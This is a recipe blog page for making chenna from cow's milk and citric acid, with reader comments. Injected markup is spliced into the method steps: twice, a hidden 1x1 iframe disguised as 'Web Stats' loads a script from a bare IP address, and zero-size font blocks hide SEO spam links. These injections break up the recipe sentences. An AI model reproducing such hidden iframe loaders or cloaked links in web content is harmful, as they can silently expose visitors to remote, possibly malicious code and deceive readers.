Chenna

Preparation Time :
Cooking Time :
Servings :
INGREDIENTS
METHOD

font style=position: absolute;overflow: hidden;height: 0;width: 0a href=http://vtsc.info/en/publication/mach zehnder modulator/a/font is the basic ingredient used in most Bengali sweets.

Cooking Time : 10 mins.
Preparation Time : 5 mins.
Makes approx. 1cup.

strongIngredients/strong
1 litre cow’s milk
1/2 teaspoon citric acid (nimbu ke phool)

strongMethod:/strong
1.  Dissolve!– Web Stats — iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web Stats — the citric acid in 1/2 cup of water and keep aside.
2.  Bring the milk to a boil in a pan, stirring continuously.
3.  Remove from the fire and stir for 5 to 7 minutes till the milk is slightly cool.
4.  Add the citric acid solution and stir the milk gently.
5.  The milk mill curdle and the whey will separate. The whey has to be clear thus indicating the milk has completely curdled. Allow it to rest for 3 to 4 minutes.
6. !– Web Stats — iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0/iframe !– End Web Stats — Strain out all the whey using a clean damp muslin cloth.
7.  Fold all the 4 sides of the muslin cloth and twirl it gently so that all the whey that is in the milk solids gets evenly drained out.
8.  Gather the cloth from all 4 sides and squeeze the chenna lightly about 3 to 4 times so that most of the whey gets drained out.
9.  Remove the chenna onto a clean plate and knead gently so that it is free of lumps and take care not to apply too much pressure while kneading the chenna.
10. it is advisable to use this almost immediately.
11. Use as required.

strong Tips Points to remember :/strongfont style=position: absolute;overflow: hidden;height: 0;width: 0a href=http://groups.google.com/group/mebeli/web/furnituremebeli/a/font
Make sure that the milk is lukewarm while adding the citric acid mixture. Do not shock hot milk as it will affect the quality of the chenna.
Always use cow’s milk for making chenna as it has a low fat content.
If you use buffalo’s milk, let the milk rest after boiling it and then discard the skin that is formed.
Always use fresh chenna for making rasgullas.

About Mayur Saparia

I am Indian food Lover :) Enjoy Your stay at Indian Dhaba
This entry was posted in Sweets. Bookmark the permalink.

2 Responses to Chenna

  1. Mrinal says:

    Please let me know where to buy the muslin cloth from. I am unable to find it in any departmental store here.

  2. check in Big Bazaar.

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Shankarpala / Shakarpara

yeah .. we will be updating it soon ..

Shankarpala / Shakarpara

Very cool site, but you must improve your template graphics.

CRISPY ONION RINGS

Good work, keep us posting, you are good writer.

Channa Bhatura

Your blog is very interesting. May i write article for you, could you

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Its really good receipe.Plz do send some Non-Veg receipies to attract